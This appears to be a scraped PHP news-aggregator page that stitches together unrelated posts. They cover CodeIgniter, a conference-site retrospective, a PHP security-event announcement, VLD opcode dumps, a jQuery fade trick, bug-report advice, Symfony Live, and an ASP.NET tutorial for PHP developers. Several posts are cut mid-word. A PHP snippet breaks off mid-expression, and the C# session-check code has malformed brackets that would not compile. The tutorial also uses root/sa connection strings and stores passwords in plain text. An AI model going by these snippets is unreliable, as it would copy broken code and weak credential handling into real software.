In lesson nine of our CodeIgniter series, we’ll build a small image gallery that allows you to upload files, and automatically create thumbnails.
Catch Up

NETTUTS.com has posted the second part of their series looking to help PHP developers understand a bit more about the world of ASP.NET. This second part gets a bit more advanced than the first part.
It's been a hard climb for me, as a PHP guy for many years, to get to grips with ASP.NET. However I've found many good things in the framework, and have come to appreciate the power of the C# language - without losing my love for PHP.
He talks about using a development method he's come up with (rather than ASP.NET WebForms or ASP.NET MVC) because of his standards for the output, their reliance on Javascript and why he chose to learn the base .Net framework. He shows how to create a master page (template), work with custom classes, hook the script into databases and handling user controls.
Building a conference website as the conference was being organized is probably one of the biggest challenges I ever faced. It is also the project I’m the most proud of. I’d like to share that experience with you. By the way, the event is still in progress, so my work on the site is not done.
Throw away old codeThe first decision was to throw away the old code base that dated back to the first PHP Quebec Conference in 2003. We decided to start from scratch with the Symfony framework and I was going to be in charge (yay!)
PrioritiesThe conference was moving on and I had to keep up with the programming. Developing the website was only part of my responsibilities as an organizer, which made things even more difficult time-wise. I had to prioritize and develop the strict minimum based on the immediate conference needs. There was very little time to test between deployments (I know, it’s bad practice).
1. Logo and designI was learning the framework while another member of the team, Yann Larrivée, was building the project skeleton. At the same time, we had an organizer, Mathieu Chartier, and his partner prepare the logo and the website design. Last year I was the one doing it and you could clearly see that I’m no designer and no expert in Web standards.
Besides a few static pages to present the event, the call for papers was the absolute first priority. Another member of the team had already put a project skeleton together, so I could dive right into the good stuff. Creation of user accounts, authentication, member dashboard and paper submission had to be put in place in record time.
Speakers could associate tags with their talks so that the organizers will be able to sort them out more easily. To put it in context, organizers were responsible each for his own track (php, python, java, ruby, etc.) and needed to know which talks fell under their responsibility.
The worst that could happen did happen. I was speaking at a conference in Paris during the last day of the call for speakers and the server crashed. Once fixed, we had to extend the call by three days because some people missed the deadline as a result of this extended site unavailability.
3. Talk selectionWe needed a tool to sort through the 450 or so talk submissions. Thus came the admin section which was built by another member of the team, Sylvain Mathon, who had more experience with the framework. We put the talks in their corresponding tracks and spent a whole Saturday selecting the ~130 talks.
Since budget is a big consideration for a non for-profit organization, we built some tools on that same day to monitor, in real time, the estimated travel and lodging costs based on the selected speakers.
Then I also needed to implement the Session and Speaker sections. Considering the large number of presentations, I had to figure alternate ways to present all that info. I couldn’t just put it all on one page as we did with PHP Quebec in the past, where we had 55 presentations at most.
4. TicketsA conference is no good if people can’t buy tickets to attend it. The next big priority was to implement a checkout process. So without time to catch my breath, I implemented a public shopping cart, then a mandatory login/registration, the billing information screen, the confirmation screen and a redirection to the payment screen. Also, I had to consider that ticket price varies over time (early bird, regular and at-the-door prices).
This was not the end. Since companies often purchase multiple tickets for their employees, we needed them to enter the attendees’ names and associate those with user accounts. I made the account creation/association process transparent to the buyer. They simply needed to enter the name and e-mail of the attendees.
Then people need receipts. Also, many institutions can only pay by check and thus need an order form. And so another member implemented the PDF module for our site.
5. Monitoring toolsNow that we started to sell tickets, we needed to monitor it closely to know when and where to promote the event. For example, we sponsored another conference in Quebec City (CLLAP) and needed to know our ROI. Based on promotional codes and referrers, visitor locations and technologies, we knew how to approach the different communities.
Also, we needed to monitor the impact of the various communications by checking what tickets we sold on each day.
6. Flash saleI still couldn’t put the checkout process to rest. Now we decided to do a flash sale, that is, a special price that will only last a week. Luckily for me, the mechanism was already in place with the different pricing, so it was simply a question of adding one entry to the da
Truncated by Planet PHP, read more at the original (another 3033 bytes)

If you've been wanting to attend this year's Dutch PHP Conference (June 10th through 12th) but don't think you could come up with the price for the tickets, you're in luck! Lorna Mitchell has posted about a new contest they're running to give away one ticket to the event allowing the winner access to the main conference days.
We've been busy putting everything in place for the event and our schedule is now available over at http://phpconference.nl/schedule. So now you've seen the schedule, you probably want to join us! [...] We have a ticket to give away which will grant access to the main conference days at the Dutch PHP Conference!
To put your name in for a chance to win the free pass, simply comment on this post on the Ibuildings techPortal with a valid email address attached and you'll be entered. The contest ends March 16th, so be sure to make your comment before then!

PHPBuilder.com has posted what they consider to be the top five content management systems written in PHP including Drupal and Joomla.
With solutions such as the Zend Framework and CodeIgniter making it easier than ever to create complex web applications, it can be tempting to flex your developer muscles and create custom framework-based solutions whenever the opportunity arises. However, the PHP community has also made great strides with another type of web development solution, as the content management system (CMS).
He looks at some of the key features of each and points out some of the more popular sites using them as a backend. He wants to give you a starting point to look into:
Three years ago the Hardened-PHP project organized the Month of PHP Bugs. During one month I disclosed more than 40 vulnerabilities in the PHP interpreter in order to improve the overall security of PHP. In the history of PHP this event has been one of a kind. But now, three years later, my company SektionEins GmbH will continue in the same spirit and organize the Month of PHP Security. Our preparations are not finished yet, but here is a sneak preview of what it will be.
The Month of PHP Security will take place in May 2010 and will be very different from all the previous “Month of Bugs” or “Week of Bugs” events. You can think of the Month of PHP Security as a conference without a conference. This means around the 1st of March we will send out a call for papers in order to collect the best advisories, the best research and the best articles about PHP security. We invite everyone from the PHP and from the security community to take part in this event.
The basic idea will be that during May we are planning to release (at least) one advisory or one research paper or one article about PHP security topics that were submitted to the public. And in the end of May our jury will select the best X submissions and give out prizes. We are still in the process of selecting good prizes and would be happy about more sponsors. Therefore: If you consider this event to be a good idea to improve the security of PHP and want to sponsor prizes, do not hesitate to contact us at info@sektioneins.de.
The accepted topics will be:
Of course we will accept multiple submissions by the same person/team and there will most probably also be articles/advisories by ourself. (But of course we cannot win the prizes)
We at SektionEins are already very excited about the event and hope it will be a success and once again improve the security of the PHP ecosystem.
Popular posts from PHPDeveloper.org for the past week:
VLD is a tool that I started working on years ago to visualise the opcode arrays in PHP. Opcode arrays are what PHP's compiler generates from your source code and can be compared to assembler code that is generated by a C compiler. Instead of it being directly executed by the CPU, it is instead executed by PHP's interpreter.
Over the years I've been adding some functionality, also aided by Ilia and some others, to show more information. For example Ilia has added a more verbose dumping format for opcodes (through the vld.verbosity setting) whereas I have added routines to find out which ops in oparrays can never be reached. A very simple example of the latter is shown here:
<?php function test()
{
echo "Hello!\n";
return true;
echo "This will not be executed.\n";
}
??>
If we run the above through VLD with php -dvld.active=1 test.php, you'll see the following output (I removed the part about the script body itself):
Function test:
filename: /tmp/test1.php
function name: test
number of ops: 9
compiled vars: none
line # * op fetch ext return operands
---------------------------------------------------------
2 0 > EXT_NOP
4 1 EXT_STMT
2 ECHO 'Hello%21%0A'
5 3 EXT_STMT
4 > RETURN true
7 5* EXT_STMT
6* ECHO 'This+will+not+be+executed.%0A'
8 7* EXT_STMT
8* > RETURN null
End of function test.
Every opcode that has a * after the number (like in 5*) is code that can not be reached, and can possibly be eliminated from the oparrays in an optimiser.
The dead code analysis routines have also made their way into Xdebug which uses them for the code coverage functionality to highlight dead code. This mostly makes sense if you are running your code coverage together with unit tests such as you can do with PHPUnit.
Recently I've been working on some new functionality to visualise all the code paths that make up each function. These new routines sit on top of the routines that do dead code analysis. Every branch instruction (such as if, but also for and foreach) is analysed and a list of branches is created. Each branch contains information about the line on which the branch starts, the starting and ending opcode numbers that belong to the branch, as well as to which other branches this branch can jump to. There can be either no linked branches (when for example a return or throw statement is found), one linked branch (for an unconditional jump) or two linked branches (on a branch instruction). However, you need to be aware that internally, PHP's opcode don't always reflect the source code exactly.
Once all the branches and their links are found, another algorithm runs to figure out which paths can be created out of all the branches. It is best to illustrate this with an example. So let us look at the following script:
<?php function test()
{
for( $i = 0; $i
In this script we have a for-loop with a nested if construct. When we run this script through VLD (with php -dvld.verbosity=0 -dvld.dump_paths=1
-dvld.active=1 test2.php) we get the following output (again, only the test() function and with some white space modifications):
Function test:
filename: /tmp/test2.php
function name: test
number of ops: 22
compiled vars: !0 = $i
line # * op fetch ext return operands
-----------------------------------------------------------
2 0 > EXT_NOP
4 1 EXT_STMT
2 ASSIGN !0, 0
3 > IS_SMALLER ~1 !0, 10
4 EXT_STMT
5 > JMPZNZ 9 ~1, ->18
6 > POST_INC Truncated by Planet PHP, read more at the original (another 4288 bytes)
This has been an amazing week for me, Symfony, and the whole Symfony community. With more than 350 attendees coming from more than 30 countries, the Symfony Live conference was a blast. I want to thank all attendees, speakers, and the Sensio Labs team for coming to the conference and making it a truly fantastic event.
If you have not attended the conference, you can still come to the Symfony Live After-Party next week in London. And don't miss Symfony Camp in June and Symfony Day in October. If you live far away from Europe, stay tuned as we have more exciting news to announce in the coming weeks.
The conference was also the occasion to unveil the first preview release of the upcoming Symfony 2 framework. Since then, the buzz has been great and I have already received a lot of good comments on it. Of course, I hope that this is just the beginning, and that more people will provide feedback.
On the PHP CommunityI'm also very proud that people from so many different PHP "sub-communities" attended the conference: Jon Wage (Doctrine project manager and lead developer of Doctrine 1.x), François Zaninotto (lead developer of Propel), Nils Adermann (lead developer of PhpBB), and of course, Matthew Weier O'Phinney (Zend Framework lead).
I like to see the whole PHP community as a big unified group of developers trying to promote the same platform. And I do my best to be a good "PHP citizen". I try to innovate by adapting concepts from other languages. But I also try to not reinvent the wheel when it's not mandatory. The symfony 1 framework uses a lot of third-party libraries like Propel and Doctrine. And for Symfony 2, I'm proud to have replaced our own Logger and Cache system by the equivalent components from the Zend Framework. And you can imagine that it was not an easy decision to take. First, because it meant throwing away code we have written and maintained for years. Then, because the Zend Framework is our main competitor. But I'm sure we have made the right decision and Matthew seems to have the same point of view on that matter.
On PHP FrameworksPeople are jealous, so jealous that it makes me really sad. For the last few years, some PHP framework communities attempted to "kill" Symfony by trying to demonstrate that it is too slow, too complex, and too bloated. Of course, that's not true. And the number of high-traffic websites using symfony 1 speaks for us.
I get inspiration from many different frameworks from many different languages. Besides PHP projects, I like to follow the development of Django, Spring, Rails, Maven, Jinja, Rack, Sinatra, and many others. I try to bring innovation to the table. And for Symfony 2, I have tried to take into account the major pain points of symfony 1. The truth is that Symfony 2.0 requires no configuration. The truth is that Symfony 2 is really fast. Is it the fastest framework? I don't care. It is probably fast enough for your next website, and so is symfony 1.
Now if some people cannot accept that Symfony 2 is really fast and if they cannot accept that Symfony 2 is great step forward for PHP, that's sad. The web evolves very fast. Competition is everywhere for PHP. We should all be in the same boat.
I would love if people from different framework communities can work together more often, like what we have done with the PHP 5.3 interoperability group. I would love if we can share more components. I would love to discuss how we can make our PHP community grow faster.
Is it a dream? I hope it's not. And I have a proposal. Let's organize an event where several PHP framework communities can discuss and share ideas. Anyone?
On Dependency InjectionThe biggest Symfony 2 innovation lies in its low level architecture. And its flexibility and speed is mainly due to the Symfony Dependency Injection Container component. Dependency Injection Containers are not widespread in the PHP world, and I really think that this is a very good approach. That's why I talk about Dependency Injection at conferences. Next time I will talk about this topic is during the ConFoo conference in March.
In this video quick tip, I’ll demonstrate an easy way to allow for sequential animations of an infinite number of elements. I originally learned this technique from Dave Methvin, but don’t think that many people are aware of this neat little trick.

The Goal
We want to filter through an infinite number of elements on a page, matching some selector, and then make them sequentially fade out.
The HTML<body> <p>Watch</p> <p>Me</p> <p>Disappear</p> </body>The jQuery
var paras = $('p'),
i = 0;
// If using jQuery 1.4, you don't need to do || [].
(function() {
$(paras[i++] || []).fadeOut('slow', arguments.callee);
})();
We begin by “caching” all of the paragraphs on the page, wrapped in the jQuery object (var paras). We also create an iterator variable – i. This iterator will allows us to target each new paragraph element, without knowing the specific length of the paras object ahead of time.
Within the self-invoking anonymous function, we get the first paragraph on the page with “paras[i]” … But we want to increment i by one for each iteration. This way, the next time the selection is called, it’ll be referring to the next element in the wrapped set. So, we must be sure to write paras[i++]. Then, it’s a simple matter of calling fadeout, and passing arguments.callee as the callback function, to allow for recursion. This will be equal to the function it’s contained in; so we’re essentially saying “rinse and repeat!”
alert(arguments.callee); // alerts the following
(function() {
$(paras[i++] || []).fadeOut('slow', arguments.callee);
})();
Note
If, for some reason, you’re using jQuery 1.3 or older, you need to specify what should happen when paras[i] is equal to an element that doesn’t exist. In older versions of jQuery, it returns an error, “undefined.” To compensate, we pass $(paras[i++] || []) to specify that, if the element doesn’t exist, we instead wrap an empty array, to avoid any errors.
It should be noted that, as of jQuery 1.4, this is unnecessary, as jQuery will return the jQuery object instead.
“There is a problem with component Fooey-Bar-Bazzy, I think it’s related to Nanny-Nanny-Neener. Please Fix Now.” If you’ve written a bug/issue report like that in the past with no other details- shame on you! This may come as a shock, but as great as some developers might be, they cannot read minds. Each has their own way of coding, custom working environment as well as their own favorite tools; aside from variances in coding standards and best practices. Some could argue these little intricacies are outside of the realm of coding standards and best practices and that these are the differences between good, great, and even terrible developers. Each developer has a different opinion on how particular applications, libraries of code, or even features of a particular project are expected to behave in practice. These varying expectations are why bugs/issues exist. No one developer producing code for mass consumption can anticipate every possible use case. Additionally, no one developer can replicate every environment surrounding every pre-conceived use case. There are simply not enough resources at hand; be it in the form of a variety of systems or simply the number of hours in a developers day.
With that in mind, I write this as a plea to all developers to be good to the maintainer of code you use. In the simplest form of advice, I suggest that before you click submit on that bug/issue report form, ask yourself two questions: “Did I do enough due-diligence in determining if this is really a bug?” AND “If I got this bug report, would I be able to reproduce it.. let alone understand it?”. If the answer is YES to both of those questions. Go ahead- click submit. If your answer is no, you’ve got some more work to do.
Some Tenets Of the Good Reproduction ScriptIn this short article, I’d like to outline a few details of what should go into a bug/issue report. These are some simple guidelines that should be considered when you write a bug/issue report. It should be noted that this list is by all means not exhaustive, but if you at least consider the list below before clicking submit- you’ll make a code maintainers day. I promise.
PHP specifically is well known for being a “glue language”. What that means is that PHP is generally sitting between multiple pieces of software that is, of course, not PHP. This means that these pieces of software each have their own set of configurations and environments that PHP is “gluing” together. That being the case, any assumptions about non-PHP assumptions should be clearly listed in the reproduction script. This could include database flavor and its settings, a PHP library component, or perhaps a specific version of an extension that is being used and the underlying unmanaged/c-based library your PHP environment is consuming.
As tempting as it is to copy a script from your project and paste it into the bug/issue submission box, don’t do this. If you are truly invested in seeing the bug/issue fixed in a timely fashion, take the time to create a small reproduction script. In this script should be the absolute minimal amount of code to demonstrate to another human that there is indeed a problem that needs solving. By keeping the script minimal and short, you are also removing any other distractions from the script that otherwise might confuse the maintainer and prevent him from fully understanding the real problem.
It cannot be stressed enough that any non-meaningful names should be discouraged at all costs. And as mentioned above, you want to have as few distractions as possible in the use case. For example, supplying your database table of customers, with first_name, last_name, etc has virtually nothing to do with the problem at hand. In these cases where table and column names are ancillary to the actual problem, they should be generalized: a table named ‘foo’, and columns named ‘bar1′ and ‘bar2′. Unless …
… the variable name can add context to the problem. What does this mean? $customer would be bad; but $faultyTableObject is good. The latter naming makes it easy for the maintainer to focus on the variable that need to be tracked leading up to the problem.
Claiming something is broken without offering what you expect and what the actual result is offers next to nothing to the maintainer attempting to fix the problem. Generally speaking, most use cases that end up being bugs/issues are outside of the original preconceived use cases for the actual component. That said, the maintainer is
Truncated by Planet PHP, read more at the original (another 8745 bytes)

According to this article in The Register, more PHP developers (of the ones polled by Zend) prefer to do their actual development on a Windows platform, but still host their sites on something like Linux (as shown in the results of a Zend survey).
In a recent study from Zend Technologies, forty two per cent of PHP programmers named Windows as their primary development operating system. Linux came second, with 38.5 per cent, while Mac's OS X was third on 19.1 per cent. Zend did not say how many developers it spoke to, but called the December poll a "global survey" ranging from independent consultants to organizations with more than 5,000 employees.
The same survey shows that the choice of Linux for the server is still strong, and that the rest of the options (Windows, OS X) are trailing by a large percentage. You can read Zend's official press release on the survey on PRWeb.net.

Matthew Weier O'Phinney (of the Zend Framework project) had an opportunity to attend the Symfony Live event held in Paris and presented on integrating the two frameworks (usually seen as rivals by much of the PHP community).
To be honest, I was a little worried about the conference -- many see Symfony and ZF as being in competition, and that there would be no cross-pollination. I'm hoping that between Fabien, Stefan, and myself, we helped dispel that myth this week. The fact of the matter is that no single project can be fully comprehensive, and do everything perfectly.
He talks a bit more about the real difference between most of the MVC frameworks out there (tooling and communities) and each framework's development goals. Matthew's goal was to show Symfony developers that it's not just about staying within the ecosystem of your selected framework when developing - you need to branch out and find the right tool for the job. Sometimes that's found in the Zend Framework, other times it's elsewhere.
Overall the conference was pretty interesting since I don't have a lot of experience with symfony I learned quite a bunch of things about it's usage. I also met a lot of nice people, and ended the trip yesterday evening at the github meetup, after going for food with a couple phpBB guys who are really much nicer than the forum software they stand for. They were also very open to us bashing phpBB and seem to be headed towards a brighter future for the next version, which I'm sure nobody will complain about.
I also had my first session at a conference, accompanying Lukas though so I wasn't really flying by myself yet but it was still a nice and interesting (and stressful) experience that I will try to renew. We didn't get all that much feedback by the way so feel free to do so (also here if you are too lazy to register on joind.in), the organizers need it and obviously I wonder how the talk was received as well.
As for Symfony 2 (which now comes with a capital S please), I kind of saw the flexibility coming since we already implemented the dependency injection container in our Okapi framework at Liip, but I was still impressed by the jump away from symfony (1) Fabien conceded, many people would have tried to keep more BC at the cost of going forward, and I'm really glad he didn't, I think it will pay in the long run. The new version of the framework will basically be able to be totally ripped apart to fit your needs better if you have high performance requirements, which was the major pain point of symfony 1 as far as I'm concerned, and one of our reasons to keep working on Okapi which is pretty much a baseline micro-framework you can build upon. We will have to see if adopting Symfony in its place will make sense, but it sounds promising and it would offload some maintenance away from us which is always good.
Obviously Symfony 2 isn't going to be stable for a while, and there are some rough edges that still need to be discussed and improved, mostly in the way bundles are handled imo, but it looks very good already and I'll definitely give it a try asap. I would also encourage everyone to do so, especially framework developers, because the dependency injection is a pretty awesome thing to have, both for the testability of code and flexibility of the development process. Although if it's your only interest in it, checking out the Okapi 2 core (or the liip.to app ported to use it) is probably easier as there is less code to read, and we didn't add any of the abstraction to the dependency injection layer that Symfony 2 has.
In part one of the “ASP.NET for PHP Developers” tutorial, we learned the basics of ASP.NET and the C# language. Part two builds on that foundation, and introduces some more advanced features and techniques to take your ASP.NET pages to the next level.
Tutorial DetailsEnsure you have read and completed the examples in part 1 of the tutorial. We’ll be building on that application here. It’s also worth stressing that you need a good grasp of object oriented programming (OOP) to continue.
And Before I Start…I mentioned in part 1 of the tutorial that there are two flavours of ASP.NET available:
However I don’t use either of those, but rather a third approach of my own devising. That’s for several reasons:
runat="server" to HTML elements offered many of the advantages of true ASP.NET controls, but gave me full control over the HTML that was outputted. Things improved, and are looking even better for ASP.NET 4.0.javascript:__doPostBack function is a perfect way to make your website impossible to use for a large proportion of the web audience – oh, and search engines as well.So you can see why I chose this "roll-your-own" approach. As ASP.NET matured and I discovered new features, I started to integrate those into my applications, and I fully expect that over time I’ll be doing more of that.
So, let’s take our ASP.NET application to the next level.
Master PagesMy second favourite feature of ASP.NET (after turning HTML controls into server controls) is master pages. A master page is a template file you can use to encapsulate HTML you use in multiple pages. For example, your master page could contain the header, menu and footer of your pages, while your normal .aspx pages contain the actual content on that page. let’s look at an example web page:
You can see the parts which are used on multiple pages highlighted in green. The content which changes for each page in the site is highlighted in red. Master pages allow us to split up the code for these two sections into multiple files. If you’ve used templates in your PHP applications (for example Wordpress has header.php, footer.php and sidebar.php) you’ll see how great master pages are.
So let’s create a master page. In the Solution view create a new directory in your ASP.NET application called "Master_Pages". In that directory create a new master page by right-clicking on the Master_Pages folder, selecting "Add > New file" then selecting "Master Page with Code Behind" and call it "DefaultMaster". Your new master page will be created and you’ll see the "DefaultMaster.master", "DefaultMaster.master.cs" and "DefaultMaster.master.designer.cs" files in the Master_Pages folder.
Open the "DefaultMaster.master" and "DefaultMaster.master.cs" files. The code-behind file (.cs) for the master page (.master) works exactly the same as the code-behind file for an .aspx page. The first thing to note is master pages do not inherit from System.Web.UI.Page like .aspx pages do. Instead they inherit from System.Web.UI.MasterPage. Here’s the default code for the code-behind.
using System;
using System.Web;
using System.Web.UI;
namespace WebApplication1
{
public partial class DefaultMaster : System.Web.UI.MasterPage
{
}
}
And for the .master file itself:
<%@ Master Language="C#" Inherits="WebApplication1.DefaultMaster" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" " [www.w3.org] <html> <head> <title>DefaultMaster</title> </head> <body> <div id="container"> <form runat="server"> <asp:contentplaceholder id="contentPlaceHolder" runat="server" /> </form> </div> </body> </html>
Because we’re not using the WebForms model, let’s quickly remove the tags for the <form runat="server"> element.
You should be getting used to page declarations (the <%@ Page ... %> bit in .aspx pages) by now, so the <%@ Master ... %> declaration will come as no surprise. What is different in this code is a new control: <asp:contentplaceholder>.
<asp:contentplaceholder id="contentPlaceHolder" runat="server" />
This content placeholder is where the content from your .aspx pages will be inserted. You can have as many of these in a .master page as you like.
Referencing your master pageLet’s go back to our normal .aspx page and make some edits. The first thing to do is remove the <html>, <head> and <body> tags, as they will now be in the master page. That leaves:
<%@ Page Language="C#" Inherits="WebApplication1.Default" %> <h1 id="headertext" runat="server">This is the text</h1>
Now we need to specify what content to place in the content placeholder. We do that by specifying where the master page is, and wrapping our content in an asp:Content control, like this:
<%@ Page Language="C#" MasterPageFile="~/Master_Pages/DefaultMaster.master" Inherits="WebApplication1.Default" %> <asp:Content id="Content1" ContentPlaceHolderID="contentPlaceHolder" runat="server"> <h1 id="headertext" runat="server">This is the text</h1> </asp:Content>
There’s a couple of things to note here. Firstly the Page declaration has an additional attribute of "MasterPageFile" with a value of "~/Master_Pages/DefaultMaster.master". In ASP.NET "~" means the root of the application, the rest of that path just points to our master page.
Secondly you see the new asp:Content control has an attribute of "ContentPlaceHolderID" with a value of "contentPlaceHolder", which is the "id" attribute of our <asp:contentplaceholder>. Running the application will give you:
Checking the source code of the page proves that the master page (.master) and content page (.aspx) have been seamlessly integrated together. Now you see why I love master pages so much.
A more complex master pageWe can push master pages a lot further than this simple example. Let’s have a go at building something that looks more like a real web application, starting with the master page. Firstly we’ll add some more content placeholders and a few server-side controls:
<%@ Master Language="C#" Inherits="WebApplication1.DefaultMaster" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" " [www.w3.org] <html> <head> <title><asp:contentplaceholder id="PageTitle" runat="server" /></title> <script src="scripts/jquery.min.js"></script> <asp:contentplaceholder id="PageJS" runat="server" /> <link rel="stylesheet" href="styles/default.css"></link> <asp:contentplaceholder id="PageCSS" runat="server" /> </head> <body> <div id="container"> <h1 id="sitename" runat="server"></h1> <ul id="menu"> <li><a href="about.aspx">About me</a></li> <li><a href="services.aspx">My services</a></li> <li><a href="contact.aspx">Contact me</a></li> </ul> <div id="content"> <asp:contentplaceholder id="PageContent" runat="server" /> </div> <div id="footer"> <p id="copyright" runat="server"></p> </div> </div> </body> </html>
And in the code-behind file for our master page we’ll put:
using System;
using System.Web;
using System.Web.UI;
using System.Configuration;
namespace WebApplication1
{
public partial class DefaultMaster : System.Web.UI.MasterPage
{
protected void Page_Load(object sender, EventArgs e)
{
sitename.InnerHtml = ConfigurationSettings.AppSettings["SiteName"];
copyright.InnerHtml = ConfigurationSettings.AppSettings["CopyrightNotice"] + DateTime.Now.Year.ToString();
}
}
}
(I’ll leave it as an exercise for you to add the SiteName and CopyrightNotice applications settings to web.config.)
Now for our content page. We have four content placeholders we can use: PageTitle, PageJS, PageCSS and PageContent. Here’s the code for the .aspx content page:
<%@ Page Language="C#" MasterPageFile="~/Master_Pages/DefaultMaster.master" Inherits="WebApplication1.Default" %>
<asp:Content id="PageTitle" ContentPlaceHolderID="PageTitle" runat="server">
<asp:Literal id="Title" runat="server"></asp:Literal>
</asp:Content>
<asp:Content id="PageCSS" ContentPlaceHolderID="PageCSS" runat="server">
<style type="text/css">
h1 {
font-family: sans-serif;
color: #090;
}
</style>
</asp:Content>
<asp:Content id="PageContent" ContentPlaceHolderID="PageContent" runat="server">
<h2>Welcome, one and all</h2>
<p>This is my very first ASP.NET website, working with a master page!</p>
</asp:Content>
And the code-behind for our .aspx content page:
using System;
using System.Web;
using System.Web.UI;
using System.Configuration;
namespace WebApplication1
{
public partial class Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
Title.Text = "Welcome to my first ASP.NET Website";
}
}
}
A couple of new things to notice here. Firstly I haven’t used the PageJS content placeholder at all – it’s quite OK to leave it out entirely (of course nothing will be rendered to the page for that area). Secondly I’ve introduced another ASP.NET control, namely <asp:Literal>, which we’ll take a quick look at now.
The Literal control is very useful when you want to render something to the page without any extra markup. For example, a lot of the time it’s fine to use:
<span id="message" runat="server"></span> message.InnerHtml = "This is the message"
Gives:
<span id="message">This is the message</span>
But if you don’t want the span tags at all, for example for the page <title>, you need the Literal control. Setting the "Text" property of the Literal control renders just that text to the page:
<asp:Literal id="message" runat="server"></asp:Literal> message.Text = "This is the message";
Gives:
This is the messageThe completed master and content page
So running our application should give us this:
This is really just scratching the surface, as it’s possible to have multiple master pages (even nested master pages!). You can also set the master page programatically (but this needs to be done in the Page_Init event, as Page_Load is too late in the page lifecycle). There’s lots more detail about MasterPages on the MSDN site.
Custom ClassesIt’s possible to create custom classes in your application, just like you would in PHP. Let’s create a security class by right-clicking the root of your application and selecting "Add > New file" then choosing "Empty class" from the "General" section and calling it "Security".
The code for your new class looks like this:
using System;
namespace WebApplication1
{
public class Security
{
public Security()
{
}
}
}
I’ll throw a bit more code into this file:
using System;
using System.Web;
namespace WebApplication1
{
public class Security
{
public bool IsLoggedIn;
public Security()
{
CheckSession();
}
private void CheckSession()
{
if [HttpContext.Current.Session["loggedin"]] != null && [HttpContext.Current.Session["loggedin"]] == "true")
{
IsLoggedIn = true;
}
else
{
IsLoggedIn = false;
}
}
}
}
Pretty simple so far. The only new thing is the use of HttpContext.Current.Session rather than just Session, that’s because HttpContext.Current is implicit in an .aspx web page, but not in a standalone class.
In our Default.aspx.cs code-behind file we write:
protected void Page_Load(object sender, EventArgs e)
{
Security security = new Security();
if (security.IsLoggedIn)
{
Title.Text = "Welcome back, you are logged in";
}
else
{
Title.Text = "You are not logged in";
}
}
Which instantiates a new instance of the Security class names "security". Running the application shows this:
As you’re familiar with OOP you can see how this can be used to build large-scale web applications. The only other thing to say about custom classes is how to make them static. Here’s the code for a static class:
using System;
using System.Web;
namespace WebApplication1
{
public static class Security
{
public static bool IsLoggedIn;
public static void CheckSession()
{
if [HttpContext.Current.Session["loggedin"]] != null && [HttpContext.Current.Session["loggedin"]] == "true")
{
IsLoggedIn = true;
}
else
{
IsLoggedIn = false;
}
}
}
}
You can see there’s no default method, as this class is never instantiated. I’ve also added the "static" keyword to the property and method, and I’ve made the CheckSession() method public. To use this static class we would write:
protected void Page_Load(object sender, EventArgs e)
{
Security.CheckSession();
if (Security.IsLoggedIn)
{
Title.Text = "Welcome back, you are logged in";
}
else
{
Title.Text = "You are not logged in";
}
}
Pretty simple, really. As you’re fully aware of the advantages that OOP can give you for abstraction, encapsulation and inheritance you’ll see how powerful this is. But if we’re going to use objects, we really need some serious data to model in our objects. We need a database.
Databases, Data Sources and Data BindingASP.NET works really well with databases, but works the best with Microsoft SQL Server (not surprisingly). Even if your ASP.NET application is running on a Linux box, you can still connect to SQL Server on a Windows server to use as a datastore. I’ll demonstrate that below, but as I’m writing this tutorial in Linux I will also demonstrate the use of MySQL as an ASP.NET database. To use MySQL you’ll need the ADO.NET driver for MySQL – this excellent article helped me a lot.
Database configurationThe first thing to do is configure how to connect to our database server. You can do this in web.config, add this code inside the "configuration" section (the MySQL and SQL Server code should be pretty obvious). Note that these are standard connection strings.
<connectionStrings>
<add name="MySQL" connectionString="Server=mysqlserver;Database=aspnetdb1;User ID=root;Password=mypassword;Pooling=false"/>
<add name="SQLServer" connectionString="Server=sqlserver;Database=aspnetdb1;User ID=sa;Password=myPassword;"/>
</connectionStrings>
I’ve also created a table called "users" with this code (this is for MySQL, minor edits will make it work in most other database systems):
CREATE TABLE users ( id int NOT NULL AUTO_INCREMENT, username varchar(50) NOT NULL, password varchar(32) NOT NULL, email varchar(255) NOT NULL, PRIMARY KEY (id) );
To access your connection string you can use the ConfigurationManager class which we used in part 1 of the tutorial to access global configuration settings. Here’s the code:
string conn = ConfigurationManager.ConnectionStrings["MySQL"].ConnectionString;Connecting and running a simple query
So we’re now ready to connect to our database and run a query. First, insert a couple of rows into the " users" table so we have something to query:
insert into users
(username, password, email)
values
('User 1', 'user1password', 'user1@asp.net')
We then need to ensure we reference the right assemblies. For MySQL make sure you have this at the top of your code-behind file:
using System.Data; using MySql.Data.MySqlClient;
Amd for SQL Server use this:
using System.Data; using System.Data.SqlClient;
A quick note about connecting to MySQL in Linux. I had a bit of trouble making my application compile when I first tried this. I did various searches but found no answer that worked for me. The error I got was "The type or namespace name `MySqlConnection’ could not be found." which looked like the MySQL Connector wasn’t installed properly. The fix (for me) was to manually add the reference by right-clicking the References folder in my application and going to "Edit references". I then found the MySQL.Data.dll file in the .Net Assembly tab and referenced it. I also had to then manually reference the System.Data and System.Configuration assemblies from the Packages tab.
Hopefully you won’t need to jump through these hoops.
We now open a connection to our database like this for MySQL:
protected void Page_Load(object sender, EventArgs e)
{
// get the connection string
string conn = ConfigurationManager.ConnectionStrings["MySQL"].ConnectionString;
// create a new MySQL connection
MySqlConnection dbcon;
using (dbcon = new MySqlConnection(conn))
{
// open the connection
dbcon.Open();
// create the query
string query = "SELECT username, email FROM users";
// create a new adapter between the connection and query
MySqlDataAdapter adapter = new MySqlDataAdapter(query, dbcon);
// create a new dataset to store the query results
DataSet ds = new DataSet();
// fill the dataset with the results from the adapter,
// the name of the dataset is "result"
adapter.Fill(ds, "result");
}
}
And this for SQL Server:
protected void Page_Load(object sender, EventArgs e)
{
// get the connection string
string conn = ConfigurationManager.ConnectionStrings["SQLServer"].ConnectionString;
// create a new SQL Server connection
SqlConnection dbcon;
using (dbcon = new SqlConnection(conn))
{
// open the connection
dbcon.Open();
// create the query
string query = "SELECT username, email FROM users";
// create a new adapter between the connection and query
SqlDataAdapter adapter = new SqlDataAdapter(query, dbcon);
// create a new dataset to store the query results
DataSet ds = new DataSet();
// fill the dataset with the results from the adapter,
// the name of the dataset is "result"
adapter.Fill(ds, "result");
}
}
See, pretty easy, and not a million miles away from the equivalent PHP code. There are a couple of bits in here I’ll explain in some more depth. Firstly the using statement:
using (something here) { ... }
